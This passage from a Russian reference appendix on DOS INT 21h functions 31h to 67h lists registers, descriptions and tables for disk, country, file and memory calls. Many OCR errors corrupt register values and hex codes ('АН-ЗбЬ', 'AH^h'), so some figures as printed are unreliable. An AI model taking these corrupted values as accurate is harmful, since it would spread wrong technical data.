распределение памяти, как специфицировано в DX, и возвращает управ-
ление родительскому процессу, оставляя указанную память резидентной
(число байт равно DX*16). Эта функция перекрывает функцию
INT 27h, которая не возвращает код выхода и не способна установить
резидентную программу, размер которой превышает 64Кбайт.
Версии: DOS 2.00 и выше.

DOS, функция 32h Получить информацию DOS о диске


(Официально не документирована)
Вход:
AH=32h
DL - номер диска (0 - текущий, 1 - А и так далее)
Выход:
AL=OOh, если в DL был задан корректный диск
DS:BX - адрес блока информации о диске для запрошенного уст-
ройства (Таблица Б-6)
AL=FFh, если в DL был задан некорректный диск
Описание.
Возвращает блок информации, представляющей интерес для приложе-
ний и утилит, которые выполняют доступ к дискам, поддерживаемым
драйверами устройств, на уровне секторов.
Некоторые дисководы (особенно незагружаемые) функционируют только
через свои драйвера устройств. Такие диски могут содержать неверную
информацию в корневой записи и таблице разделов, что делает очень
трудным определение, например, размера корневого оглавления, числа
таблиц FAT и прочего. Блок информации диска содержит такие данные
в хорошо форматированной структуре.
Версии: DOS 2.00 и выше.
Таблица Б-6. Формат блока информации о диске.

Смещ. Размер Описание
+00h байт Номер диска (0 - текущий, 1 - А и так далее)
+01h байт Количество блоков в драйвере диска
+02h слово Количество байт в секторе
+04h байт Наибольший номер сектора в кластере
+05h байт Счетчик сдвига для конвертации кластера в сектор
+06h слово Количество зарезервированных секторов в начале диска
+08h байт Количество FAT
+09h слово Количество входов в root-директорию
+OBh слово Номер первого сектора, содержащего данные
+ODh слово Максимальный номер кластера
+OFh байт Количество секторов в FAT
+10h слово Номер первого сектора директории
+12h двойное слово Адрес заголовка драйвера устройства
+16h байт ID (отражает тип диска)
+17h байт OOh, если диск доступен и FFh, если нет
+18h двойное слово Указатель на следующий блок информации о диске
Для версий DOS 2.XX
+lCh слово Кластер, содержащий старт текущей директории.
OOOOh - root, FFFFh - не известно
+lEh 64 байта Путь текущей директории для диска в формате ASCIZ
Для версий DOS 3.XX
+lCh слово Кластер, с которого начинается поиск свободного места
при записи некоторого количества секторов на диск
+lEh слово Количество свободных секторов на диске.
FFFFh - не известно
<
Таблица Б-6. Формат блока информации о диске. {Окончание)

Смещ. Размер Описание
Для версий DOS 4.XX - 6.ХХ
+OFh слово Количество секторов в FAT

+llh слово Номер первого сектора директории
+13h двойное слово Адрес заголовка драйвера устройства
+17h байт ID (отражает тип диска)
+18h байт OOh, если диск доступен, и FFh, если нет
+19h двойное слово Указатель на следующий блок информации о диске
+lDh слово Кластер, с которого начинается поиск свободного кластера

при записи некоторого количества секторов на диск
+lFh слово Количество свободных секторов на диске.

FFFFh - не известно

DOS, функция 33h Установить/опросить статус Ctrl-Break


Вход:
AH=33h
AL=OOh - опросить текущий статус контроля Ctrl-Break
AL=01h - установить статус контроля Ctrl-Break
DL - требуемый статус (0 - выключен, 1 - включен)
Выход:
DL - текущий статус (0 - выключен, 1 - включен)
Описание.
Если AL=OOh, в DL возвращается текущий статус контроля Ctrl-Break.
Если AL=01h, в DL возвращается новый текущий статус.
Когда статус "включен", DOS при выполнении большинства функций
(исключая 06h и 07h) проверяет, нажаты ли клавиши Ctrl-Break. Если
это обнаружено, выполняется прерывание INT 23h (если оно не пере-
хватывается, то процесс снимается).
При статусе "выключен" DOS проверяет на нажатие Ctrl-Break лишь
при выполнении операций стандартного ввода/вывода, стандартной пе-
чати и стандартного AUX.
Версии: DOS 2.00 и выше.

DOS, функция 34h Получить адрес флага активности DOS


(Официально не документирована)
Вход:
AH°34h
Выход:
ES:BX - адрес флага активности DOS
Описание.
Функция возвращает флаг активности DOS, который показывает, мож-
но ли на данный момент вызывать функции DOS. Эту функцию ис-
пользует, например, функция фоновой печати PRINT.
Если ES:[BX] не нулевой, фоновая программа (TSR либо popup)
не должна использовать никаких функций DOS.
Версии: DOS 2.00 и выше.

DOS, функция 35h Получить вектор прерывания


Вход:
AH-35h
AL - номер прерывания (OOh до FFh)
Выход:
ES:BX - адрес обработчика прерывания
Описание.
Возвращает значение вектора прерывания для INT (AL), то есть загру-
жает в ВХ 0000:[AL*4], а в ES - 0000:[(AL*4)+2].
Примечание.
Эта функция изменяет сегментный регистр ES.
Версии: DOS 2.00 и выше.

DOS, функция 36h Получить свободную память диска


Вход:
АН-ЗбЬ
DL - номер диска (0 - текущий, 1 - А и так далее)
Выход:
AX=FFFFh, если AL содержал неверный номер диска
Если функция выполнена успешно:
AX - число секторов на кластер
ВХ - число доступных кластеров
СХ - байт на сектор
DX - всего кластеров на диске
Описание.
Возвращает данные, полезные для подсчета общей и доступной диско-
вой памяти. Если в АХ возвращено FFFFh, значит задан неверный
диск. Иначе свободная память (в байтах) составляет (АХ*ВХ*СХ), все-
го памяти (AX*CX*DX) байт.
Версии: DOS 2.00 и выше.

DOS, функция 37h Установить/опросить символ-переключатель

(Официально не документирована)
Вход:
AH=37h
AL=OOh - опросить текущий переключатель
AL=01h - установить символ-переключатель
DL - символ-переключатель
Выход:
AL=OOh, если функция выполнена успешно
DL - текущий символ-переключатель DOS (если при вызове AL=OOh)
AL=FFh, если использована неподдерживаемая подфункция
Описание.
Устанавливает или опрашивает "Глобальный переключатель" DOS. Пе-
реключатель (SWITCHAR) - это символ, используемый в командной
строке как признак опции. По умолчанию принимается "/" (например,
DIR /w/p), но его можно изменить на "-" (DIR -w-p), если нужно, что-
бы система была больше похожа на UNIX. Общепринято опрашивать
значение SWITCHAR перед разбором области неформатированных па-
раметров в PSP для выделения опций команды.
Примечание.
Эта недокументированная команда может измениться в будущих верси-
ях DOS. He рекомендуется изменять SWITCHAR.
Версии: DOS 2.00 и выше.

DOS, функция 38h Получить/установить информацию о стране


Вход:
AH-SSh
Получить информацию:
AL=OOh - получить данные для текущей страны
DS:DX - адрес локального буфера для чтения блока данных страны
(Таблица Б-7)
Установить информацию:
AL=01h-FEh - установить данные для указанной страны < 255
AL=FFh - установить данные для кода страны > 255
ВХ - 16-битный код страны (Таблица Б-8)
DX=FFFFh
Выход:
CF=0, если функция выполнена успешно
ВХ - код страны
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Если DX=FFFFh, то текущий код страны устанавливается равным AL
(если AL=FFh, то код страны устанавливается равным ВХ). Обычно код
страны устанавливается в файле CONFIG.SYS. Если DX то DS:DX адресует буфер пользователя, в который помещается 20Ь-байт-
ный блок данных для указанной страны.
Версии: DOS 2.00 и выше.

DOS, функция 39h Создать новое оглавление


Вход:
АН-ЗЭЬ
DS:DX - адрес строки ASCIZ с именем оглавления
Таблица 6-7. Формат блока данных страны.

Смещ. Размер Описание
+00h слово Формат даты:
OOh - USA (месяц дата год)
Olh - Европа (дата месяц год)
02h - Япония (год месяц дата)
+02h 5 байт Текущая строка символов в формате ASCIZ
+07h 2 байта Разделитель тысяч в формате ASCIZ
+09h 2 байта Разделитель целой и дробной части в формате ASCIZ
+OBh 2 байта Разделитель даты в формате ASCIZ
+ODh 2 байта Разделитель времени в формате ASCIZ
+OFh байт Текущий формат:
Бит 2 - текущий символ заменяется десятичной точкой
Бит 1 - количество пробелов между значением и текущим
символом
Бит 0=0 - текущий символ предшествует значению
Бит 0-=1 - текущий символ следует за значением
+10h байт Количество символов в дробной части числа
+llh байт Формат времени:
Бит 0~0 - 12-часовые часы
Бит 0=1 - 24-часовые часы
+12h двойное слово Адрес карты (CALL FAR при AL=кoд символа больше 80h)
+16h 2 байта Список разделителей в формате ASCIZ
+18h 10 байт Зарезервировано

Выход:
CF=0, если функция выполнена успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Если диск и/или корневой путь не указаны, то новое оглавление созда-
ется в текущей директории. Поддиректория создается и связывается
Таблица Б-8. Коды некоторых стран.

Код Страна
OOlh Соединенные Штаты Америки
003h Латинская Америка
007h Россия
OlFh Нидерланды
020h Бельгия
021h Франция
022h Испания
027h Италия
02Ch Великобритания
031h Германия

с существующим деревом. Если флаг CF установлен при возврате,
то АХ содержит код ошибки, и оглавление не создается.
Версии: DOS 2.00 и выше.

DOS, функция 3Ah Удалить оглавление


Вход:
АН-ЗАЬ
DS:DX - адрес строки ASCIZ с именем оглавления
Выход:
CF=0, если функция выполнена успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Если диск и/или корневой путь не указаны, принимаются значения по
умолчанию. Поддиректория удаляется из структуры оглавлений. Если
флаг CF установлен при возврате, то АХ содержит код ошибки, и оглав-
ление не удаляется.
Примечание.
Оглавление не должно содержать файлов и поддиректорий, оно не должно
попадать под влияние возможных ограничений DOS (например, не долж-
но быть задействовано в активных командах JOIN или SUBST).
Версии: DOS 2.00 и выше.

DOS, функция 3Bh Установить текущую директорию


Вход:
АН-ЗВЬ
DS:DX - адрес строки ASCIZ с именем оглавления
Выход:
CF=0, если функция выполнена успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Если диск и/или корневой путь не указаны, принимаются значения по
умолчанию. Указанная поддиректория становится текущим оглавлени-
ем DOS для этого (или текущего) диска. Если флаг CF установлен при
возврате, то АХ содержит код ошибки, и текущее оглавление для выб-
ранного диска не изменяется.
Версии: DOS 2.00 и выше.

DOS, функция 3Ch Создать файл через описатель


Вход:
АН-ЗСЬ
DS:DX - адрес строки ASCIZ с именем файла
СХ - атрибут файла (атрибуты приведены в описании функции
DOS 43h)
Выход:
CF=0, если функция выполнена успешно
АХ - описатель файла
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Если диск и/или путь не указаны, принимаются значения по умолчанию.
Версии: DOS 2.00 и выше.

DOS, функция 3Dh Открыть описатель файла


Вход:
AH=3Dh
DS:DX - адрес строки ASCIZ с именем файла
AL - режим открытия:
AL=OOh, чтобы открыть для чтения
AL=01h, чтобы открыть для записи
AL=02h, чтобы открыть для чтения и записи
Выход:
CF=0, если функция выполнена успешно
AX - описатель файла
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Файл открывается в выбранном режиме доступа (режиме открытия).
Если диск и/или путь не указаны, принимаются указанные по умолча-
нию. Файл должен существовать. Указатель чтения/записи устанавли-
вается в ноль.
Версии: DOS 2.00 и выше.

DOS, функция 3Eh Закрыть описатель файла


Вход:
АН-ЗЕЬ
ВХ - описатель файла
Выход:
CF=0, если функция выполнилась успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
ВХ содержит описатель файла (handle), возвращенный при открытии.
Файл, представленный этим описателем, закрывается, его буферы сбра-
сываются и оглавление обновляется корректными размером, временем
и датой. Из-за недостатка описателей файлов (максимум 20, по умолча-
нию установлено 8), возможно, придется закрыть часть текущих описа-
телей, как, например, описатель 3 (стандартный AUX).
Версии: DOS 2.00 и выше.

DOS, функция 3Fh Читать файл через описатель


Вход:
AH=3Fh
ВХ - описатель файла
DS:DX - адрес буфера для чтения данных
СХ - число считываемых байт
Выход:
CF=0, если функция выполнена успешно
AX - число действительно прочитанных байт
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
СХ байт данных считываются из файла или устройства с описателем,
указанным в ВХ. Данные читаются с текущей позиции указателя чте-
ния/записи файла и помещаются в буфер вызывающей программы, ад-
ресуемый через DS:DX. Если необходимо установить позицию чтения/
записи, можно использовать функцию 42h. Эта функция обновляет ука-
затель чтения/записи файла, чтобы подготовиться к последующим опе-
рациям чтения или записи.
Версии: DOS 2.00 и выше.

DOS, функция 40h Писать в файл через описатель


Вход:
AH=40h
ВХ - описатель файла
DS:DX - адрес буфера, содержащего записываемые данные
СХ - число записываемых байт
Выход:
CF=0, если функция выполнена успешно
AX - число действительно записанных байт
CF°1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
СХ байт данных записываются в файл или на устройство с описателем,
заданным в ВХ. Данные берутся из буфера, адресуемого через DS:DX,
и записываются, начиная с текущей позиции указателя чтения/записи
файла. Чтобы установить указатель файла, если необходимо, можно ис-
пользовать функцию 42h. Обновляет указатель чтения/записи файла,
чтобы подготовиться к последующим операциям чтения или записи.
Версии: DOS 2.00 и выше.

DOS, функция 41h Удалить файл


Вход:
AH^lh
DS:DX - адрес строки ASCIZ с именем файла
Выход:
CF=0, если функция выполнена успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Файл удаляется из оглавления заданного диска. Если диск и/или путь
не указаны, принимаются значения по умолчанию. Имя файла не может
содержать обобщенные символы ("?" и "*"). Если файл имеет атрибут
"только чтение", то перед удалением необходимо изменить этот атрибут
через функцию 43h.
Версии: DOS 2.00 и выше.

DOS, функция 42h Переместить указатель файла


Вход:
AH^h
ВХ - описатель файла ^
CX:DX на сколько передвинуть указатель: (CX*65536)+DX
AL=OOh переместить относительно начала файла +CX:DX
AL=01h переместить относительно текущей позиции +CX:DX
AL=02h переместить относительно конца файла +CX:DX
Выход:
CF=0, если функция выполнена успешно
DX:AX новая позиция указателя файла (если нет ошибки)
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Перемещает логический указатель чтения/записи к нужной позиции.
Очередная операция чтения или записи начнется с этого адреса.
Примечание.
Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX.
Действительная длина файла равна (DX*65536)+AX.
Версии: DOS 2.00 и выше.

DOS, функция 43h Установить/опросить атрибуты файла


Вход:
AH=43h
DS:DX - адрес строки ASCIZ с именем файла
AL=OOh - извлечь текущий атрибут файла
AL=01h - установить атрибут файла
СХ - новый атрибут файла (для подфункции 01Ь)(Таблица Б-9)
Выход:
CF=0, если функция выполнена успешно
СХ - текущий атрибут файла (для подфункции ООЬ)(Таблица Б-9)
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Таблица Б-9. Атрибуты файла.

Бит Атрибут
0 Только чтение
1 Скрытый
2 Системный
3 Метка тома (может находиться только в корневом каталоге)
4 Директория
5 Архивный

Описание.
Атрибут файла читается или устанавливается, согласно коду в AL.
Если диск и/или путь не указаны, принимаются значения по умолчанию.
Примечание.
Чтобы скрыть оглавление, нужно использовать CX=02h (а не 12h, как
можно было ожидать).
Версии: DOS 2.00 и выше.

DOS, функция 44h Управление устройством ввода/вывода


Вход:
AH=44h
AL - код подфункции:
AL=OOh - получить информацию об устройстве
AL=01h - установить информацию об устройстве
AL=02h - читать с символьного устройства
AL=03h - писать на символьное устройство
AL=04h - читать с блочного устройства
AL=05h - писать на блочное устройство
AL=06h - дать статус ввода
AL=07h - дать статус вывода
AL=08h - запрос съемного носителя
AL=09h - запрос удаленного устройства
AL=OAh - запрос удаленного описателя
AL=OBh - счет повторов разделения
AL=OCh - кодовые страницы 3.3
9- 1436
AL-ODh - общий IOCTL
AL=OEh - получить логическое устройство
AL=OFh - установить логическое устройство
Версии: DOS 2.00 и выше.

DOS, функция 45h Дублировать описатель файла


Вход:
AH-45h
ВХ - существующий описатель файла
Выход:
CF=0, если функция выполнена успешно
AX - новый описатель файла, дублирующий оригинал
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Создает дополнительный описатель файла, ссылающийся на тот же по-
ток ввода/вывода, что и существующий описатель. Любое продвижение
указателя чтения/записи одного описателя (включая любые операции
чтения, записи или перемещения указателя посредством функции 42h)
действует на его дубликат.
Версии: DOS 2.00 и выше.

DOS, функция 46h Переназначить описатель


Вход:
АН-46П
ВХ - целевой описатель файла (должен уже существовать)
СХ - исходный описатель файла (должен уже существовать)
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Заставляет описатель файла (handle) ссылаться на другой файл или ус-
тройство. Если описатель в СХ (источник) открыт, он закрывается,
а затем становится дубликатом описателя в ВХ (назначения). Иными
словами, описатели в СХ и ВХ будут ссылаться на один и тот же физи-
ческий файл или устройство.
Версии: DOS 2.00 и выше.

DOS, функция 47h Получить текущее оглавление DOS


Вход:
AH°47h
DS:SI - адрес локального буфера для результирующего пути - 64 байта
DL - номер диска (0 - текущий, 1 - А и так далее)
Выход:
CF=0, если функция выполнена успешно
АХ не сохранен
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
В буфер по адресу DS:SI помещается в форме ASCIZ путь текущего ог-
лавления для диска, указанного в DL. Путь возвращается в формате:
"путь\оглавление",0. Впереди не подставляется буква диска, а сзади не
подставляется символ "\". Например, если текущим является корневое
оглавление, эта функция вернет пустую строку (DS:[SI]=0).
Версии: DOS 2.00 и выше.

DOS, функция 48h Выделить память


Вход:
AH^Sh
ВХ - запрошенное количество памяти в 16-байтных параграфах
Выход:
CF=0, если функция выполнена успешно
АХ - сегментный адрес распределенного блока
CF"!, если при выполнении функции возникли ошибки
АХ - код ошибки
ВХ - размер максимального доступного блока памяти (в параграфах)
Описание.
Распределяет блок памяти длиной ВХ параграфов, возвращая сегмент-
ный адрес этого блока в АХ (блок начинается с АХЮООО). Если распре-
деление неудачно, устанавливается флаг CF, в АХ возвращается код
ошибки, а ВХ содержит максимальный размер доступной для распреде-
ления памяти (в параграфах). Чтобы определить наибольший доступ-
ный блок, общепринято устанавливать BX=FFFFh перед вызовом.
Распределение завершится с ошибкой, возвратив размер максимально-
го блока памяти в ВХ.
Версии: DOS 2.00 и выше.

DOS, функция 49h Освободить блок памяти


Вход:
AH=49h
ES - сегментный адрес освобождаемого блока памяти
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
АХ - код ошибки
Описание.
Освобождает блок памяти, начинающийся с адреса ES:0000. Этот блок
становится доступным для других запросов системы. Вообще говоря,
нужно освобождать лишь те блоки памяти, которые получены через
функцию 48h (распределить память). Родитель отвечает за освобожде-
ние памяти порожденных процессов. Тем не менее, ничто не препят-
ствует освобождать память чужих процессов.
Версии: DOS 2.00 и выше.

DOS, функция 4Ah Изменить размер блока памяти


Вход:
АН°4АЬ
ES - сегмент распределенного блока памяти
ВХ - нужный размер блока в 16-байтных параграфах
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
ВХ - размер максимального доступного блока памяти (в параграфах)
Описание.
Изменяет размер существующего блока памяти. Когда программа полу-
чает управление, функция 4Bh уже распределила блок памяти, начиная
с PSP, который содержит всю доступную память. Чтобы освободить па-
мять для запуска порождаемых процессов, блок памяти, начинающийся
с PSP, необходимо сначала сжать.
Примечание.
Функция 31h и INT 27h (TSR) сжимают блок по адресу PSP.
Версии: DOS 2.00 и выше.

DOS, функция 4Bh Выполнить или загрузить программу


Вход:
AH"4Bh
DS:DX - адрес строки ASCIZ с именем файла, содержащего программу
ES:BX - адрес ЕРВ (блока параметров ЕХЕС)
AL=°OOh - загрузить и выполнить
AL=01h - загрузить, но не выполнять
AL=03h - загрузить программный оверлей
Выход:
CF=0, если функция выполнена успешно
ВХ, DX не сохранены
СЕ=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Данная функция загружает в память и запускает программу, имя кото-
рой указано в регистрах DS:DX. Запущенная программа после заверше-
ния работы возвратит управление запускаемой. Если диск или путь
не указаны, принимаются значения по умолчанию. ES:BX указывает
на блок памяти, подготовленный как ЕРВ, формат которого зависит
от запрошенной подфункции в AL.
Версии: DOS 2.00 и выше.

DOS, функция 4Ch Завершить программу


Вход:
AH=4Ch
AL - код выхода
Описание.
Возвращает управление от порожденного процесса его родителю, уста-
навливая код выхода (его можно опросить функцией 4Dh). Управление
передается по адресу завершения в PSP завершающейся программы.
Векторы Ctrl-Break и Critical Error восстанавливаются к старым адре-
сам, сохраненным в родительском PSP.
Примечание.
Значение ERRORLEVEL (используемое в пакетных файлах DOS)
можно использовать для проверки кода выхода самой последней про-
граммы.
Версии: DOS 2.00 и выше.

DOS, функция 4Dh Получить код выхода программы


Вход:
AH=4Dh
Выход:
АН - код выхода последнего завершившегося процесса
AH=OOh - нормальное завершение
AH=01h - завершение через Ctrl-Break INT 23h
AH=02h - завершение по критической ошибке устройства INT 24h
AH=03h - завершение через функцию 31h
AL - код выхода
Описание.
Возвращает код выхода последнего из завершившихся процессов. Эта
функция возвращает правильную информации/только однажды для
каждого завершившегося процесса.
Версии: DOS 2.00 и выше.

DOS, функция 4Eh Найти первый совпадающий файл


Вход:
АН-4ЕП
DS:DX - адрес строки ASCIZ с именем файла (допускается использо-
вать символы "?" и "*")
СХ - атрибут файла для сравнения
Выход:
CF^^O, если функция выполнена успешно
DTA заполнена данными (Таблица Б-10)
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Если диск и/или путь не указаны, принимаются значения по умолча-
нию. Обобщенные символы "*" и "?" допускается использовать в име-
ни файла и расширении.
Версии: DOS 2.00 и выше.

DOS, функция 4Fh Найти следующий совпадающий файл


Вход:
AH-4Fh
DS:DX - адрес данных, возвращенных предыдущей 4Eh (Найти пер-
вый файл)
Выход:
CF=0, если функция выполнена успешно
DTA заполнена данными
CF°1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Эту функцию можно использовать после вызова 4Eh. Следующее имя фай-
ла, совпадающее по обобщенному имени и атрибуту файла, копируется
в буфер по адресу DS:DX вместе с другой информацией (Таблица Б-10).
Примечание.
Параметр DS:DX добавлен в DOS 3.0.
Версии: DOS 2.00 и выше.

DOS, функция 52h Получить адрес векторной таблицы связи


(Официально не документирована)
Вход:
АН-52П
Выход:
ES:BX - адрес векторной таблицы связи (Таблица Б-11)
Описание.
Данная функция возвращает адрес векторной таблицы связи.
Версии: DOS 2.00 и выше.
Таблица Б-]]. Формат векторной таблицы связи.

Смещ. Размер Описание
-18h слово Содержимое СХ при вызове INT 21h при AX=5E01h
-16h слово Счетчик для кэшируемых FCB
-14h слово Счетчик для открытых FCB
-12h двойное слово Адрес обработчика OEM-функций (FFFFh:FFFFh,
если обработчик не установлен)
-OEh слово Смещение в кодовом сегменте DOS кода
возврата из прерывания INT 21h
-ОСЬ слово Счетчик повторов
-OAh слово Задержка повтора
-08h двойное слово Указатель на буфер текущего диска
-04h слово Сегмент данных DOS
-02h слово Сегмент первого МСВ
+00h двойное слово Указатель на первый блок параметров диска
+04h двойное слово Указатель на первую системную файловую таблицу
+08h двойное слово Указатель на заголовок активного драйвера часов
+OCh двойное слово Указатель на заголовок активного драйвера консоли


DOS, функция 54h Получить переключатель верификации DOS


Вход:
AH=54h
Выход:
AL=OOh, если верификация выключена (OFF)
AL=01h, если верификация включена (ON)
Описание.
Возвращает текущий статус верификации записи DOS. Если в AL воз-
вращается 1, то DOS считывает обратно каждый сектор, записываемый
на диск, чтобы проверить правильность записи. Функция DOS 2Eh по-
зволяет установить/изменить режим верификации.
Версии: DOS 2.00 и выше.

DOS, функция 56h Переименовать/переместить файл


Вход:
AH=56h
DS:DX - адрес старого ASCIZ имени (путь/имя существующего файла)
ES.-DI - адрес нового ASCIZ имени (новые путь/имя)
Выход:
CF^O, если функция выполнена успешно
CF^l, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Старое имя DS:DX должно существовать и не может содержать обоб-
щенных символов. Диск и путь необязательны (если они не указаны,
принимаются значения по умолчанию). Новое имя ES:DI должно опи-
сывать несуществующий файл. Если указан диск, он должен быть тем
же, что и в старом имени. Если диск или путь не указаны, принимают-
ся текущие. Если старое и новое имя содержат разные пути (явные или
принятые по умолчанию), то элемент оглавления для файла перемеща-
ется в оглавление, указанное в новом имени.
Версии: DOS 2.00 и выше.

DOS, функция 57h Установить/опросить дату/время файла


Вход:
АН-ЗУЬ
AL=OOh - получить дату/время файла
AL=01h - установить дату/время файла
ВХ - описатель файла (handle)
СХ (если AL=1) - новая отметка времени в формате время файла
DX (если AL=1) - новая отметка даты в формате дата файла
Выход:
CF=0, если функция выполнена успешно
СХ - (если при вызове AL=0) отметка времени файла в формате
время/дата файла (Таблица Б-12)
DX - (если при вызове AL=0) отметка даты файла в формате вре-
мя/дата файла (Таблица Б-13)
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
ВХ должен содержать описатель открытого файла (см. 3Ch или 3Dh).
DX и СХ задаются в формате памяти (например, младшие 8 бит даты
находятся в DH).
Версии: DOS 2.00 и выше.

DOS, функция 59h Получить расширенную информацию об ошибке

Вход: ______
AH°59h
BX-OOOOh (номер версии: ООООЬ для DOS 3.0, 3.1 и 3.2)
Таблица Б-12. Формат времени файла. Таблица Б-13. Формат даты файла.

Биты Описание
15-11 Часы
10-5 Минуты
4-0 Секунды/2


Биты Описание
15-9 Год-1980
8-5 Месяц
4-0 Дата

Выход:
AX - расширенный код ошибки (0, если ошибки не было)
ВН - класс ошибки
BL - предлагаемое действие
СН - сфера (где произошла ошибка)
Описание.
Эту функцию можно использовать, чтобы уточнить, что предпринять
после сбоя функции DOS по ошибке (только DOS 3.0+). Ее можно вы-
зывать: в обработчике критических ошибок INT 24h, после любой фун-
кции INT 21h, возвратившей флаг переноса после вызова FCB-функ-
ции, возвратившей AL=FFh.
Версии: DOS 3.00 и выше.

DOS, функция 5Ah Создать уникальный временный файл


Вход:
AH=5Ah
DS:DX - адрес строки ASCIZ с диском и путем (заканчивается симво-
лом "\") \
СХ - атрибут файла
Выход:
CF=0, если функция выполнена успешно
AX - описатель файла
DS:DX - (не изменяется) полное ASCIZ-имя нового файла
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Открывает (создает) файл с уникальным именем в каталоге, заданном
строкой ASCIZ, на которую указывает DS:DX. COMMAND.COM вызы-
вает эту функцию, когда создает временные "канальные" файлы, ис-
пользуемые при переназначении ввода-вывода. Описание пути должно
быть готово к добавлению в его конец имени файла. Необходимо обес-
печить минимум 12 байт в конце строки. Сама строка должна быть за-
полнена в одной из форм: "d:\nyrb\",0 (указан диск и путь), "d>,0 (те-
кущее оглавление диска) или "d:\",0 (корневое оглавление диска).
Версии: DOS 3.00 и выше.

DOS, функция 5Bh Создать новый файл


Вход:
AH-SBh
DS:DX - адрес строки ASCIZ с именем файла
СХ - атрибут файла
Выход:
CF=0, если функция выполнена успешно
AX - описатель файла
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Файл открывается для чтения/записи в совместимом режиме доступа.
Если диск и/или путь не указаны, принимаются значения по умолча-
нию. Этот вызов идентичен функции DOS 3Ch с тем исключением, что
он вернет ошибку, если файл с заданным именем уже существует.
Версии: DOS 3.00 и выше.

DOS, функция 5Ch Блокировать/разблокировать доступ к файлу

Вход:
AH-SCh
AL - подфункция:
AL=OOh - заблокировать область файла
AL=01h - разблокировать ранее заблокированную область
ВХ - описатель файла
CX-.DX - смещение ((CX*65536)+DX) от начала файла
SLDI - длина блокируемой области ((SI*65536)+DI) байт
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Блокирует или освобождает доступ к участку файла, указанного в ВХ.
Область файла с логическим смещением CX:DX и длиной SLDI
блокируется (захватывается) или разблокируется (освобождается). Сме-
щение и длина обязательно должны быть указаны. Разделение файлов
должно быть активизировано (командой SHARE), иначе функция вернет
код ошибки "Неверный номер функции".
Версии: DOS 3.00 и выше (при обязательной загрузке SHARE).

DOS, функция 62h Получить адрес PSP


Вход:
AH^h
Выход:
ВХ - сегментный адрес PSP выполняющейся программы
Описание.
Эта функция возвращает в ВХ адрес PSP текущей программы. Исполь-
зуется, для получения адреса параметров командной строки, адреса ок-
ружения DOS и другой полезной информации, содержащейся в PSP.
Версии: DOS 3.00 и выше.

DOS, функция 65h Получить расширенную информацию страны


Вход:
AH=65h DOS 3.3
AL - подфункция:
AL=01h - дать расширенную информацию страны DOS 3.3
AL=02h - дать таблицу преобразования строчных букв в прописные
AL=04h - то же для символов, допустимых в именах файлов
AL=06h - дать сопоставляющую последовательность
DX - код страны
ВХ - кодовая страница (FFFFh - консоль)
СХ - размер буфера возврата (должен быть минимум 5 байт)
ES:DI - адрес буфера возврата
Выход:
CF=0, если функция выполнена успешно
ES:DI - адрес возвращенной информации
CF=1, если при выполнении функции возникли ошибки:
AX - код ошибки
Описание.
Эта функция возвращает различную национальную информацию.
Используется для получения формата даты, символа валюты и других
данных, необходимых для вывода и сортировки информации (во всех
странах, кроме США).
Версии: DOS 3.30 и выше.

DOS, функция 66h Получить/установить глобальную кодовую страницу

Вход:
AH-66h
AL - подфункция:
AL=01h - запросить текущую глобальную кодовую страницу
AL=02h - установить активную кодовую страницу
ВХ - (при AL=02h) кодовая страница (Таблица Б-14)
DX - (при AL=02h) системная кодовая страница (устанавливаемая при
загрузке)
Выход:
CF=0, если функция выполнена успешно
ВХ - (если при вызове AL=01h) текущая активная кодовая страница
DX - (если при вызове AL=01h) системная кодовая страница (уста-
навливаемая при загрузке)
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Эта функция выбирает новую кодовую страницу или получает значение
текущей активной кодовой страницы (страниц). Программа DOS
NLSFUNC должна быть загружена до этого вызова. Функция использу-
ется в сочетании с 65h или 38h.
Примечание.
Устанавливая новую активную кодовую страницу, DOS читает данные
из файла COUNTRY.SYS.
Версии: DOS 3.30 и выше.
Таблица Б-14. Значения кодовых страниц.

Кодовая
страница
Страна (язык)
437 Соединенные Штаты Америки
850 Многоязыковая
857 Турция
860 Португалия
861 Исландия
863 Канада (французский)
865 Норвегия
866 Россия


DOS, функция 67h Установить число описателей файлов


Вход:
AH=67h
ВХ - максимальное число описателей (до FFFFh)
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Эта функция устанавливает максимальное число описателей файлов,
которые могут быть открыты одновременно. Если значение ВХ меньше
20, то принимается 20. Если значение ВХ меньше текущего максимума
(нужно сократить число описателей), и в данный момент открыто более
чем ВХ файлов, то изменение будет иметь место, когда число открытых
файлов не будет превышать устанавливаемый максимум. Если ВХ боль-
ше текущего максимума (нужно увеличить число описателей), то DOS
